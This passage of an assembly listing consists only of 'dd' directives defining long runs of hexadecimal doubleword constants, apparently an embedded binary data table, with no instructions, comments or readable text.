707EE0A0h dd 0F044FB27h, 7A871D58h, 5A04066Dh, 0AA61414Ah, 2C20FD94h dd 45D900D7h, 0A473AD03h, 661EC0C2h, 0BF00C752h, 0F225E12Eh dd 0A2840687h, 50D0892Ch, 9B9C2800h, 3A80DF1Bh, 0B3EE0062h dd 23E60BECh, 0CF48DDFFh, 6A4F0D1Fh, 5CF0103Bh, 9B18C012h dd 0A2A94DC6h, 727B3300h, 802460F1h, 3BD4710Bh, 8B1C5B50h dd 15D580E3h, 0C89A0134h, 970055F4h, 0F967D2F4h, 3B4A5A7h dd 542608ECh, 0CDE0E3DCh, 53007935h, 47E69A34h, 0EC7812Ch dd 0A5286F83h, 0F11245E0h, 847B2DDDh, 6C0B2EE8h, 970E55h dd 1C7EE653h, 0C4E00004h, 1ADCA501h, 0B7007F5Bh, 6E2F77F5h dd 2860FBh, 0DF46EE8Dh, 0E5B2E61Dh, 0F0C0ED18h, 40D360h dd 0EBAC8414h, 7AEC8ED5h, 0A22B080Fh, 0F7F6A03Fh, 3B43227Ch dd 0EE9DD924h, 9A40074h, 0CC02C691h, 32492060h, 38ECEA0h dd 0BA57EC3Fh, 0D0FFC38Ah, 0C0279C29h, 4005F100h, 59732484h dd 3A8FA00Ah, 74C200C9h, 52FFD55Bh, 0C400778Ch, 251B6740h dd 7E07D94Bh, 6E961C8Fh, 0AD7CC0E6h, 6D29D33Ah, 0CC78FE01h dd 7579F391h, 324F3880h, 0D4A06094h, 6128FC00h, 277ECF8Eh dd 86B30095h, 0F0DD253Fh, 40F9BA66h, 96DC78F0h, 690C2707h dd 0E04EA7ECh, 1768A451h, 59B400E4h, 242B477Dh, 2800C484h dd 0D106C27Eh, 5096FB8h, 64867CE5h, 0F680008Ah, 1A9EECFh dd 603A6CEAh, 53A481E4h, 0B40A6761h, 62DCC8h, 3D43C636h dd 0DDFE63C1h, 812488CEh, 0E2952C81h, 72B4AECh, 2291BC89h dd 0DA5F705Ch, 0A00A24Dh, 64ED8CD0h, 74E6318h, 0DC86E4C3h dd 0CBC44094h, 6E3C6C9Dh, 0A6C90013h, 69E66AE3h, 412E0050h dd 673E8FCFh, 450068D4h, 907D927Eh, 538DDBh, 649FA0E4h dd 43FE6141h, 0EB453E00h, 7737A23Fh, 5FF5076Eh, 60138627h dd 0CA180AC2h, 8833D200h, 0B2F197F2h, 19C40168h, 0BCC9F38Eh dd 0B94F20ADh, 8CA0B6E6h, 0D4F036BEh, 41232D01h, 977AB29Ah dd 6367D041h, 4EBBC450h, 0D4F1001Bh, 3D561A8Dh, 45386976h dd 0F88A9DA3h, 0E2D00440h, 0DDEB51h, 0CCDC7FFDh, 27D78DB5h dd 61887700h, 33FC6B45h, 2BBC1D94h, 0A4E00F9h, 0BDD3C1DAh dd 0F08F9A00h, 0A20E19DFh, 654303E2h, 45468D0Bh, 63FE2BF8h dd 0DC022770h, 0BCE069E7h, 0EA084050h, 236C00D6h, 6FCEFB0Eh dd 8F008832h, 2611788Dh, 481451FEh, 1849FDE4h, 0E2A70A0Bh dd 0DC013F0Bh, 0C09E8D33h, 0C48C0BCh, 0BE290003h, 6A89B93Fh dd 18B60158h, 2C30DAD2h, 427080EDh, 0ABBE3DF1h, 0E318B07Ch dd 0F6F4FF8h, 5CDC5378h, 8D655520h, 0A40434C8h, 0D27B49E4h dd 0FA475090h, 9888145Ch, 0B111B027h, 0DC0200DAh, 0C1680F91h dd 7E6D1388h, 3A5C00F7h, 0C36C238Ah, 972E7700h, 83382BD2h dd 0F46F00AEh, 65F66A46h, 0EE00A005h, 0F3F593FDh, 0E0413Bh dd 0EDC3079Eh, 18B4E676h, 123E9400h, 0FFCDDC39h, 68E039A6h dd 0DB366B00h, 181AC013h, 0C60007F8h, 78C3FDD9h, 1F06329h dd 83727AC7h, 40576EB7h, 0E3C501FCh, 0A1E58000h, 0AE495C87h dd 2B3A0B2Dh, 2600F98Eh, 4E648561h, 0EF775504h, 74C7B57Fh dd 3C9C8BE0h, 0E41B58D8h, 80F16115h, 9F3B1A38h, 460516FDh dd 194D0ED2h, 7511EBE0h, 401F4A80h, 7D99F9h, 7FECD0Fh dd 145A51h, 1BCEF293h, 0C6242A8Dh, 985EAC03h, 0E0DA7CFFh dd 7854B2h, 0BD6028B3h, 6C012DAAh, 35035DFEh, 0C83B1188h dd 3DE0D72Ah, 3F0F6h, 0B240D405h, 9F09C344h, 0A27D009Ah dd 6709C4ECh, 7DB1950Ch, 0E5DBB080h, 0A900AA6Fh, 89252B83h dd 4B8CA7h, 0D66117D8h, 905086CAh, 0A5847C00h, 47BC97ACh dd 0C291C0A6h, 0C05ADDD2h, 0E1449001h, 226D82B0h, 199FDE4h dd 4368EAAFh, 20BFE5E8h, 2300E73Ch, 7E488EB3h, 4C179Dh dd 49ED1659h, 53565187h, 0EE5D29C0h, 9257C1D3h, 3FC0078h dd 0C8F7EC41h, 593B88CDh, 0C9A61275h, 0D38D1400h, 0B418D4h dd 43E733ADh, 5D45099Ch, 0C0FEFB8h, 8055FA9Bh, 0B2CDCFD0h dd 0D4353DECh, 69B89F00h, 0C3F03E4Ah, 500A3200h, 0C4086A1Eh dd 0AFD2050Eh, 90C0F72Ah, 0DF9E8398h, 990A4B00h, 1B063FFCh dd 3AC6008Ah, 0DC4C2759h, 0FB05FEBFh, 5DEBB0C2h, 0B172C881h dd 0ADA2F8h, 1B0EC901h, 0B6577F13h, 0FC773B00h, 741F3D1Ah dd 0A5A91CDEh, 0DDB20018h, 10CDF4D6h, 322D250Fh, 0E0401DDCh dd 2AC99536h, 5FE8008Bh, 43908A72h, 8C035434h, 3AABE6B2h dd 12A1B89Dh, 68133ACEh dd 78D6AE31h, 0B36ED03Bh, 10614B00h, 0E9F98CCFh, 3E90AAh dd 85A441C2h, 12B7573Fh, 6689FA09h, 0CA8A3BDh, 9108E08Bh dd 0CCC23C29h, 0DE1A7D00h, 0CE64B622h, 40CA9B0h, 326AE45Fh dd 0F29E01D0h, 0E0DDE253h, 0AB19E017h, 56847702h, 0E826E6A0h dd 3D6EE780h, 0ED800FD3h, 375786BEh, 3400789Ah, 284BEAA6h dd 0FE382AFh, 0F09D1647h, 0F4EDFA0h, 4800B994h, 63238EADh dd 0FC38A0C3h, 4C92FE5Ah, 6400282Eh, 0B6318924h, 20907532h dd 5FD3520Eh, 0B9EE81CEh, 5834D63Eh, 0C0E6775Ah, 0F90BBC91h dd 8CFA27Bh, 18B6AD67h, 80F0BBE1h, 0D8E200F0h, 0C87E912Fh dd 740E859Eh, 20180EEFh, 33EA9098h, 1DE8125Bh, 0A1F100D0h dd 5FBB5126h, 0D3199400h, 0B3818C6Fh, 405350BAh, 8823FAABh dd 0C9FA053Ah, 0F9E3A00Fh, 0DC12E150h, 5AE45FA3h, 293F6013h dd 76F9C234h, 0E648B863h, 0DCC0C03Ch, 62E70086h, 44383EA2h dd 350009F1h, 6A639302h, 0FED0D7h, 17EE3AFFh, 0FCD9A1C6h dd 268FFD00h, 4A896B65h, 0FFCF0052h, 8A4E3C14h, 0E000EED9h dd 0EAF37CE1h, 853745h, 7E93AB2Dh, 0CAA38D14h, 0F9B4081Eh dd 199E5B81h, 3BDCFB76h, 78FA0F0h, 3AEDF07Dh, 919D574Ah dd 0FE0D40DFh, 0EB8D76A3h, 0ABCFF500h, 9CECDA94h, 81593C42h dd 0A1EDFD80h, 2087A931h, 6B91BD00h, 72FF75B6h, 806A00D3h dd 40701E2Ah, 0AB00F337h, 881FF18Ch, 4720D7h, 51E8A1C2h dd 8E8D91A8h, 8B99AA01h, 61AD8467h, 9F056B28h, 5E8AEA3Bh dd 82B20EC0h, 0D001789h, 68D575E1h, 72F1B700h, 22DC93ECh dd 181060AEh, 664A92A6h, 1E18C03Eh, 607A1FFh, 5881C3C2h dd 6EB9A1Ah, 56103B28h, 4A0061B6h, 2A92C9BEh, 36ECF3Dh dd 0ED67B52h, 67806BD5h, 770A2E22h, 0F093E6D7h, 2812818Ch dd 8A0A846Bh, 0E4628F56h, 61347F01h, 7881B912h, 93240FD0h dd 1CD1A182h, 1988378Ch, 0C07F609Dh, 18C686A7h, 0D098AD6Fh dd 4E42DC81h, 2CC0A8DDh, 5C21EE68h, 6E984454h, 7E318C00h dd 48A7CD6Ch, 881705B6h, 9014020Fh, 4F94BF40h, 0ECFF7406h dd 79380E52h, 835658DCh, 0F036230Ch, 10088B1h, 0E95DE8A0h dd 3ACD8C4Ah, 1B246B8Dh, 510C18C4h, 31CFD936h, 946463C4h dd 9824E0DFh, 18DC60C9h, 0A6E3D0A1h, 3F2820FBh, 0E552ED18h dd 3F3EA779h, 0A60F79BCh, 6FF1112h, 0E9751A6Eh, 48288AF6h dd 53B9889h, 65F100A2h, 333DE4A8h, 4A7CD1h, 58BF072Dh dd 922486D6h, 6F79CB60h, 0A1D58822h, 0BC166B24h, 0D736BF00h dd 0B39EE348h, 376828CFh, 78FD0A64h, 3B79BF8h, 935A135Fh dd 21E00830h, 5F88098h, 9FDBE7D4h, 18678077h, 0D4FD1C0Fh dd 0BBEC5146h, 0CE4C2879h, 278A00CDh, 0F61E943Dh, 0CFD8A054h dd 5816488Eh, 0E90211h, 687FE283h, 26171D8Ch, 0A87C1338h dd 6ED44070h, 5DC73A00h, 2334D573h, 0B8773DA1h, 20AA3318h dd 2C1463DDh, 0F120A8CFh, 881959D0h, 20B67E20h, 26D4684h dd 52A0F87Dh, 10E23163h, 0F88597h, 5E3F43A7h, 0BECEF51Fh dd 0F0D01A36h, 3A6F06C8h, 60C60A92h, 0A07FBA00h, 0A775A155h dd 24ED0027h, 0CCD976ECh, 79C181BFh, 37FDDB5h, 0DF00C1BCh dd 969310A5h, 3F33B399h, 0E5097Eh, 10ADBF21h, 1DA8C2E0h dd 3A262902h, 0FF3DE6h, 2B029247h, 1E93C405h, 0C0542CB2h dd 85A422D8h, 60E9C47Ch, 0B14EEC67h, 4AF4005Ch, 363C3A64h dd 2CD3EB28h, 7A096E46h, 0F8899F8h, 40E4442Ch, 0F3F88296h dd 0DCCA3A7Dh, 4FCE1E0Ch, 0AE5C46B0h, 39AC4085h, 3BB4DA0Ch dd 8C6A60FDh, 0A5F87605h, 5C288B52h, 0F87E019Ah, 0EA4A5082h dd 0A03C20DCh, 0C8493A7Fh, 9F523A10h, 9D077094h, 0E181CC7Eh dd 4180EC35h, 0EA625E19h, 382C911Bh, 0EE05756Ah, 88812E27h dd 8434574Eh, 18B7883Bh, 5AF3D803h, 0A7B16C97h, 85922B71h dd 0E4C8BC4Fh, 8BB61AC0h, 0B17066h, 50B8EF61h, 457E9CD6h dd 0FD39D302h, 68B353ECh, 3062A278h, 0B7E0B5BEh, 5B1E734Eh dd 9092CCBDh, 49F2040h, 1409D6Dh, 7F9A9219h, 7003D145h dd 20B25A8Ah, 0CE186974h, 0AF11D035h, 0A3540092h, 0D9F36746h dd 8CC7F4Eh, 18E21C3h, 0C88F546Ah, 44D1B9D6h, 578009DCh dd 80704C06h, 784ED045h, 60C0E888h, 2C07488Dh, 303C5A41h dd 1F950E0h, 2CD8FB28h, 0BC028446h, 41969410h, 0D810E731h dd 621C10A4h, 6A1DF5F9h, 0F4070480h, 64CEDAFEh, 6085507Dh dd 249510BFh, 70CC4996h, 1000A7D1h, 4A6BC2AFh, 0B056E379h dd 58440A68h, 5C503D28h, 0F04E846h, 83958587h, 5059D338h dd 6FF1000Ch, 927B0B54h, 2128981Dh, 8111DBC9h, 9110A380h dd 34A5A996h, 10ABBD07h, 7042B520h, 6F61F9Bh, 1CC424AAh dd 0BBFB40CCh, 517EF184h, 0A6676812h, 0BA9D7001h, 4060D1DBh dd 1809189h, 457DE548h, 0BC2089D5h, 0F3900359h, 3C204CD1h dd 8CE1E8h, 773D7209h, 31DB690Eh, 0C86CB049h, 0CF6929Ch dd 4FB840E8h, 35FDB31Bh, 10429420h, 5848D559h, 0B224AE48h dd 1DE454E7h, 108DC408h, 0E6E08953h, 94FD5DE2h, 0E7AD2578h dd 0A75B8C21h, 0D32C6018h, 0BA66F972h, 72212F09h, 0B018027Bh dd 9E628AA2h, 4CEC5C40h, 0F59259DFh, 11B53848h, 10A08080h dd 91A19690h, 0A8D4C360h, 0DB202000h, 1E8C9ABCh, 803C5136h dd 25F03C59h, 35EA18DCh, 0E11CD1EDh, 2FD2F000h, 0A21F6B34h dd 0FA8F0293h, 0FBA0C14Ah, 0F6266C64h, 467CECCEh, 0A2F200FEh dd 0D41A140Fh, 75D5024Bh, 0C7BAE2D2h, 46AECCA4h, 39EE36h dd 5B437041h, 392EBB27h, 5888DE1Fh, 3E575D82h, 6DE0E184h dd 56745829h, 0A602C4AAh, 0CBA27618h, 0CE7A001Ch, 62A0A918h dd 1383D112h, 1AA43C58h, 0F01FBEA0h, 34822D11h, 34C0E525h dd 0A280DF1Ah, 0C5AB263Ah, 0D69062C4h, 0F0228504h, 4E04CC1h dd 8340C497h, 86675610h, 9402A846h, 0B746BD54h, 0F017C431h dd 0A21B546Ch, 325B760Ch, 0F81A19C6h, 0BB778A1h, 88F18958h dd 0C8457801h, 0AC84DE34h, 23A14344h, 403BF533h, 813FB923h dd 56951574h, 7ED00BE3h, 4C48480Eh, 3CFBA800h, 15C708F5h dd 39A73232h, 0A8D493E6h, 0BFE96Fh, 6EECABE7h, 8FAFA33Fh dd 451C300h, 94631F7Ch, 0AEA20218h, 0FDF36EC1h, 7E100064h dd 7F00523Ah, 19B7CD6Bh, 0EC0075C2h, 148C9B9Eh, 9CA7916Eh dd 50B100CCh, 663AA5FFh, 813F9494h, 0ECF4C4Ah, 0A6C4F3D5h dd 5636C475h, 763CB1C2h, 18E80C4h, 4A90226Fh, 0A9C044C9h dd 0DEE0717Fh, 0FC0840F6h, 0CEEA04E9h, 0C2F28EAEh, 0E4690C44h dd 8D1BA8Ah, 0A642C06h, 9C9027E6h, 8750076h, 0AFFB0935h dd 8642BB38h, 0D4AEA646h, 0D9472E48h, 60696438h, 239CF879h dd 0E3118352h, 0F8819B00h, 0D5284FC9h, 6251073h, 37CA001h dd 137FEDh, 0F44AEAD7h, 14F971Fh, 0F5DD3309h, 919C1780h dd 712E8057h, 1A33474h, 0A9D44D94h, 82D79024h, 0EA1A5291h dd 0BA9040D9h, 1DA10408h, 879DA4EEh, 90C0484Ch, 4646A154h dd 0FEC22297h, 87540068h, 1D3FA012h, 9B02DAC4h, 25F650E2h dd 0FF9C81FCh, 302DC646h, 480F52C8h, 0D3D9E6FBh, 41EEF699h dd 0E887300Fh, 18C1310Eh, 0A79704DCh, 0E42074B7h, 84204753h dd 0F2603D09h, 0E1409E4Ah, 0C00F5402h, 985307A9h, 0D09497E4h dd 9D23FF83h, 0F1F2BF00h, 0B33A22A7h, 68CBAA8h, 4A62420Fh dd 0EEEA11D1h, 3934EB4Dh, 0E7B0D437h, 0E1B67B17h, 7F70DA00h dd 94F41Dh, 0EB1CEC9Fh dd 4ECE06FDh, 6E1D4090h, 661851BAh, 0A8BF3238h, 847AACh dd 6F92824Bh, 4164D7F6h, 0BFE84001h, 16EB2751h, 6CF2993h dd 91BA52BCh, 0CD25BB06h, 21C032h, 0EECADF60h, 138CB638h dd 713F0A1Ch, 9546700h, 0C81D5Bh, 84EA589h, 9FC55696h dd 1E3606E8h, 518A026h, 9B429864h, 0E2748836h, 0F9005273h dd 0FB3E275Ah, 0EEFDC2h, 0EFF4E5BCh, 0E671307Dh, 75F2BB00h dd 804A68F3h, 6D4E0BA1h, 0A80225D3h, 0CC0343BEh, 0E65980F4h dd 7E96393Eh, 32794A30h, 0DC066522h, 0BB560F3Bh, 0BE4609D1h dd 2C03ED3Eh, 911CF736h, 65405CE9h, 4C60EC69h, 52B60064h dd 7C31C6D5h, 4CB822DCh, 398A4233h, 0D307D4B2h, 0DD17D04Eh dd 6C000119h, 47527F58h, 74578Fh, 0C20CCFF0h, 0C7F2D4B8h dd 5C003E7Ch, 6DE002B5h, 895F46h, 9C472057h, 42FAB270h dd 0E61AE300h, 2CF6CA07h, 0A3610927h, 8500AE7Fh, 92D65147h dd 0CFC4FF00h, 225ACA83h, 807EA3h, 6EA9CCDAh, 89057EE4h dd 0AE29BF00h, 2F20F67Fh, 686260E7h, 0D0A9B58Fh, 0AAB4DF00h dd 49E529E8h, 7D323C0Bh, 361BA500h, 0F9553DC8h, 0A0B08A6Ch dd 51613F1Ah, 0D6E52B80h, 928038B5h, 183A1305h, 988722B2h dd 9076DC0h, 0B9BD0116h, 269471CFh, 6A308064h, 0D2500453h dd 740E200Bh, 568B3118h, 1C87D61h, 15FF65A0h, 0FC49D6FDh dd 3B00EC37h, 0D228E805h, 0E30203h, 0B0DCF0B7h, 238C0F54h dd 0DA81FF0Ah, 8B8CB84Eh, 4CC25158h, 382C2848h, 781D0EB7h dd 603FB4D5h, 8E00CB3Bh, 0BFF7172Fh, 0C40061B2h, 1551331h dd 784380h, 919881E0h, 421273D1h, 8AF6B0C0h, 58F10Fh, 46F3BF20h dd 930C98B0h, 0F4BD1F00h, 0B222E35Fh, 6A710082h, 0D4BAFF5Dh dd 0B10FDF4Fh, 3FBAD65h, 0C0DCE560h, 0E42EBD0h, 0B4E8329Ch dd 0B949FE20h, 4F06AFE9h, 0BF9FB058h, 21076008h, 85B9B1F8h dd 9DA25400h, 6024204Dh, 672B03B2h, 8FCF32BDh, 0B05E581Ah dd 11301730h, 0FCB880FAh, 0F89BFB4Fh, 5DD0738h, 63EF6575h dd 280EE296h, 0B71AE81Eh, 11799E0Ch, 71150094h, 120FFB4Bh dd 706633FFh, 219108h, 0B071ED3Dh, 0AD6A7687h, 24CF9F01h dd 2A9A0774h, 6FB9D8C3h, 0B6E719EBh, 0C71E1004h, 89B09CD1h dd 54B440h, 0EBBF4B9Dh, 3778199Fh, 802908F2h, 3EEF7721h dd 829D4Ch, 503C3F53h, 33C20179h, 1D8C8C50h, 57CF7218h dd 18CD85C8h, 0A17CD628h, 6603920Eh, 0EA5C296Eh, 30E06738h dd 1009863h, 6CED49FBh, 70F21D03h, 5745C023h, 0F54DDD11h dd 1B30400h, 0E96EB9F7h, 78107CAh, 73EE6FD0h, 0D4C8982Dh dd 781E86EDh, 0F1C1C85Ch, 41D10965h, 617EF0C7h, 0D3EC017Ah dd 771F06A8h, 0FCBFC971h, 0CA00E328h, 0C61C4A20h, 4C019311h dd 87008303h, 0AA5B64DFh, 0DA00ABB2h, 0EFE24AC8h, 3D2A4C20h dd 7307A290h, 86442371h, 0C21B1809h, 0C020290Ch, 0A04D50ADh dd 90B2BB18h, 39DC00B7h, 88328F51h, 6E0060D8h, 765BABAEh dd 3C875ACEh, 4E2B9AE3h, 3D24814h, 2F6D9F02h, 0FB7948h dd 1281F431h, 6BE472h, 53038B8h, 26CE2877h, 47A529C0h dd 0CED54CAh, 1244F8AAh, 76267019h, 893A75E1h, 0C2E9262h dd 6088C92Ch, 0D127E122h, 0C001664h, 3DDCC1E3h, 769A47B4h dd 0A19F0693h, 50A56B95h, 9D72FD00h, 2DB17E5Ah, 240C91Bh dd 0E3A4005Dh, 0F50A7EAh, 0B995DA0Ah, 8852C19Dh, 80A68A63h dd 4BA55418h, 0F2F29478h, 1ED7332Bh, 40B5B2A9h, 0FE99E2A8h dd 93009D65h, 0A4693C6Eh, 0F18EAFDh, 0ACA02CD2h, 0B54FD600h dd 60602601h, 0C4D33BA0h, 0FE070188h, 0EE2EFAE9h, 4CEB6090h dd 7D020800h, 0E4E8D621h, 8C860EECh, 0CF6A2F56h, 179A9DB8h dd 0E430003Bh, 511CA4E5h, 4103868h, 4C9A61F5h, 1910803Ah dd 58E756E1h, 0B0B40093h, 45918ACBh, 0A707552Ah, 0FA88539Ah dd 5A041AC1h, 202229B8h, 628BEB7Bh, 61092904h, 2F210C24h dd 10AB122Bh, 0D8896571h, 2284DC08h, 3B229B7Fh, 21442089h dd 84606500h, 1D5CEC48h, 0DFB2007Bh, 24F7F9A0h, 8800ED4Fh dd 0BB80CCA8h, 0AAFA7Dh, 0BACD7A0Ah, 384F0478h, 9E890100h dd 30A9A686h, 16FF0029h, 0C86031D9h, 13005DF6h, 6AE905EBh dd 0BE29ED0h, 5230F4EDh, 88A31D01h, 0E4B4E15Ah, 7703AD35h dd 2EC346F5h, 8071D041h, 349000CBh, 98236E9Dh, 2F011C5Ah dd 56A7CEA1h, 3C246331h, 8C2B0091h, 99FEEB18h, 0D138A636h dd 9F4B004Fh, 9E1CD424h, 0D0633E5Ah, 0E690D900h, 0DEA8EA65h dd 50D60B00h, 0E49542C9h, 113400ABh, 1D577A1h, 8B0D838h dd 700273FCh, 53C4A0CEh, 6CFC88A9h, 309DD140h, 273F3C09h dd 47C52A80h, 0CFCB3C67h, 1C5F4000h, 2B6143AFh, 46E63E3Dh dd 89F30D80h, 0D0740992h, 88AD7900h, 67C01648h, 4A3A3ECBh dd 6083B3B8h, 0C7D00ABFh, 0CFF87EC3h, 110E40CAh, 0E031D612h dd 3D10412Fh, 0A1A30145h, 2749444Eh, 0A6D0CFACh, 68002AEFh dd 6CCB72C7h, 2B33571h, 6B1ED0B5h, 61C05655h, 381F77C6h dd 0EBB48E0h, 0C08116B9h, 0AB6D231Fh, 934300E7h, 0C15B609Dh dd 4A00958Dh, 0ADF12EAh, 3855090Bh, 0B80013B2h, 48FAC3E7h dd 0CE00AA99h, 0FCBEB53Eh, 0DD6F71h, 983852A4h, 288CC8A7h dd 1F01997Ch, 35DC12AEh, 7660813Ah, 1C0F71C4h, 403E7EA4h dd 0E8CF467Ch, 5300BC8Eh, 0D645786Ch, 4F1CAD9h, 0BBECC459h dd 9C34904Ah, 1207162Bh, 61DB06FEh, 89B2AE90h, 437051h dd 0EEEAD634h, 0D081023Eh, 0DF00E4EAh, 6D89291h, 0FDA035h dd 33E2082h, 2AF6A378h, 7B5D2B00h, 0A0E92858h, 1DDF0039h dd 8D41B0D8h, 709D5FCh, 80C04483h, 2B114600h, 0B0DC1FF7h dd 0BE8F8ECAh, 1604E7E9h, 0B20080D0h, 373D11C8h, 94AA80A6h dd 0F5445448h, 0F039097Dh, 1420C647h, 831BA9E5h, 6F904303h dd 0C953B3h, 0E8DBC018h, 5AA905D4h, 0A6DD7100h, 23F4FACAh dd 0E9590437h, 808F2FA7h, 0CE10843Ch, 0EB545700h, 16706334h dd 0F85B3F9Ch, 0B0E843A8h, 94B8003Eh, 0B66812FCh, 0E507C44Ah dd 126586Dh, 7B90559h, 4DB11CC7h, 0E03AF6CFh, 0F1022F6Dh dd 84DBC5F3h, 0AA7C6054h, 0DF85003Dh, 9135D09Fh, 270019D9h dd 2BB84CFDh, 2CCF7Fh, 47A8A743h, 9E3B7915h, 0DE102F00h dd 0E05C3624h, 0E5B5004Bh, 0B608BADFh, 5F790A9Fh, 41A40B00h dd 0D5E8922Ch, 0C5FA00C1h, 5B3A6DDCh, 0C00BDB1h, 50A9AF0Eh dd 3C2A7243h, 4C00F0C8h, 4E0DF37Dh, 5800B355h, 0E50A0EC2h dd 347EF80h, 7C3D1814h, 0EAB44BE1h, 8E5287h, 5DB52735h dd 3F441319h, 764800DEh, 2FB4B31Fh, 494610C7h, 6278C3B0h dd 0C55B02FDh, 4F47338Dh, 0D8A589C1h, 7FE22816h, 0D5761B05h dd 0C93DC8Bh, 0A65FF965h, 9AC1830h, 8D72E54Ah, 301FF400h dd 0B200DF6Dh, 0D62EB7DDh, 86BA54h, 0A0258F29h, 67341ADCh dd 36896E00h, 807EC993h, 0C0241CDBh, 5472003Ch, 52047BC5h dd 0DC67C300h, 7419FBB9h, 3090A4h, 4C782F1Fh, 6C65183Dh dd 0EE570C0Eh, 735660E0h, 67FC84h, 30B88D9Dh, 0EADB948Eh dd 1063F500h, 0DAB9C0F4h, 0FDA90038h, 4EB21C86h, 0DC00A56Eh dd 0F0A8C562h, 67A78Dh, 5236BB2Ch, 0B9CEF8FBh, 17F2AA01h dd 730434B3h, 4080A2E1h, 69BABFAh, 84007237h, 0BFBD1239h dd 0F1406Fh, 88471FFBh, 4FA3291Bh, 13755303h, 901AD724h dd 0E9A69Eh, 719F2789h, 0E520B14Eh, 59B22900h, 0FF09176h dd 0AA401683h dd 9E3D8384h, 1EBC2DB8h, 29346100h, 0FBA26A2Ch, 88B80047h dd 78FD4E3Ah, 74002699h, 0BC95B087h, 140B6Dh, 8B0F0AD8h dd 0C565E204h, 5EB8191Ch, 3803D126h, 0C8F7C6BFh, 0F0EF7E76h dd 90B4000Ch, 284C508Ch, 0D3002CA4h, 0CCF87FEBh, 13967552h dd 0D81157h, 3817CA44h, 3A00A624h, 6E78F8Dh, 0B44C23h dd 0F8E8F77Fh, 89B8C794h, 0E6B64A00h, 86DD520Ch, 0CBE0E3D3h dd 94EC01EAh, 5CB9F90Fh, 8A40D497h, 8323CA00h, 0A84F6F1Ch dd 5F8B76Ch, 0FC95E200h, 0EDF89047h, 711000B9h, 0F0653EFFh dd 7076703h, 60EF9544h, 92D1D2B0h, 49F6E6h, 0A4728C16h dd 2DF27B9Bh, 31023001h, 5632440Eh, 7A92C821h, 4B80FF4h dd 0A9EECAE0h, 91397F46h, 6BE280EDh, 0E1D72E8Eh, 78B14864h dd 43811900h, 0B90597B6h, 8E0092EEh, 0C24A152h, 204ACFh dd 68D6E361h, 0A055AE9Bh, 0B4570700h, 33CD7DA9h, 3A030025h dd 0D52FDBB0h, 3B00698Dh, 0FD6046ECh, 7C2AD7E9h, 21BF0099h dd 0AE4CAC23h, 3000E2FFh, 39778543h, 795F4AEAh, 0B61A002Eh dd 0BDDE7F1h, 2648687Ch, 0F4777E7Bh, 84510200h, 0B667D6CFh dd 7FF3138Ch, 0C39E05ACh, 3B04800Ah, 2300BD1Ch, 0B709E5A9h dd 20427Ah, 5CC6CB37h, 0D0192E32h, 80DECC38h, 0E8C0335Bh dd 7E45643h, 8A10238Eh, 5C1140A3h, 1B0004ACh, 8443AEC4h dd 0E726632h, 0A655ED83h, 0DD2973E0h, 457F3ABFh, 313C8A01h dd 0B80A5D91h, 0FEF1D1FFh, 0F80619F4h, 302307D8h, 1ED8E7Ch dd 0F4E44803h, 0A371A20Dh, 0B8BBA52Ch, 807C5001h, 0C0C6E054h dd 3CB66F4h, 5933FDB4h, 0C4F8791Bh, 0B7036CA7h, 0DED635F1h dd 9326D876h, 342300F8h, 0F2B29DFDh, 6C58ADA2h, 0F412168Fh dd 0C2D4B802h, 0B80E641h, 24FCB8D2h, 2B4C7810h, 4E102900h dd 3403EE7Ch, 417939B6h, 0D24DFE00h, 8AC58670h, 0EFE69C00h dd 62156F4Fh, 82110FDDh, 2620F376h, 21BB3BB5h, 0B694C704h dd 0A4D0B0EFh, 0FF75CDh, 0F5F15642h, 672D8ECh, 0C8625C00h dd 1E8E1797h, 0FA1279AFh, 0EE800DAh, 6B5F1FCAh, 0E0749172h dd 3B00BF7Ah, 4A70EC82h, 90EEFEADh, 3641002Ch, 0F45E2A12h dd 0D49887C1h, 49C4D407h, 83C10C5Ah, 0CACD4FEEh, 76F81271h dd 0E4A13C70h, 84069100h, 92DDAB34h, 7C4F8A0Eh, 0FC7F40DFh dd 0DEB3FAh, 551BC7A5h, 6FF184AEh, 0BB54EF00h, 1134E581h dd 127E71DDh, 73E57F9h, 0E0B417E4h, 0B931433Fh, 2BB6CA02h dd 0E0B0D5ECh, 1371677Dh, 8EA10Ah, 5F4BF254h, 1A001D69h dd 977EDC2Bh, 3A3356h, 0C920245Dh, 0B9B42D9Fh, 7AF37800h dd 4F12C283h, 0BB3200CEh, 36D479Dh, 0E00EDEEh, 0EC9829BEh dd 23F23F6h, 0E1E592FAh, 68CB010Dh, 754B5FE8h, 9C848700h dd 2D7E833h, 0B0B548F5h, 82571000h, 8F796D08h, 966CF705h dd 0D8904BFFh, 7E748789h, 0F5E90082h, 0C9105D33h, 8848A9B8h dd 81AD25C5h, 2513E6A8h, 0C1277180h, 1BEDC5ACh, 190CE458h dd 0B4789753h, 625DECh, 0F0D91210h, 0E26007C1h, 67970406h dd 40526Ah, 7AA6F784h, 88B04746h, 0E4AC506h, 386D9Fh, 1C8F8341h dd 90545FD7h, 5B1A750Ah, 1830B3E3h, 35BDA2h, 807F5E06h dd 0E827AE42h, 0E28CAB00h, 3ED2847Ch, 96B09A1h, 4461262Ah dd 458C4117h, 0CCE2C890h, 0C0F2100h, 50628A74h, 60D2F5DAh dd 0C746ABE8h, 5084300Eh, 44789CA5h, 0E7773928h, 0E0496807h dd 0B4D36665h, 0B000B588h, 0F65C3ED4h, 1C3C9CB7h, 743C08Ah dd 1BC5B831h, 9ED0C800h, 7F1CA79Dh, 75A30393h, 5611221Dh dd 0D54A4000h, 903CDD84h, 0A89A0CF2h, 0B1681C28h, 8E0AA377h dd 0C42303E4h, 89149485h, 9CCDA443h, 36190012h, 9B0AB10Bh dd 18000CC1h, 63894AF3h, 1CB3BFh, 1DAD0F86h, 0FA6C8B48h dd 99843F01h, 5A834052h, 66009828h, 26459C2Fh, 0B49287A9h dd 63ED303h, 0E038D59Fh, 11FB3DCh, 0FF904209h, 30555CC5h dd 9629EDD6h, 14148060h, 3BA2F024h, 0C7CB0020h, 0B35DDA39h dd 243822A0h, 809C3866h, 31D43EE3h, 1CF5EF85h, 0C3CF730Bh dd 0AD939FEDh, 26C56106h, 1F83D18h, 740664Bh, 642AC2B0h dd 1301E428h, 0AF97A1B3h, 3F4E8D1h, 0F47A007Bh, 0DD833C35h dd 0F309B40Eh, 84235C41h, 90D013DBh, 9AE0B3h, 773B8129h dd 3793D46Ah, 7E164203h, 0A7CE2757h, 0D6098A51h, 4CF8FECCh dd 0C044EDA5h, 0F8A89C12h, 17F25E16h, 8C70AC2Ch, 0BC244B04h dd 3B010E0h, 8C316A57h, 37B04046h, 7D16F199h, 800FB574h dd 0DF3EC0CEh, 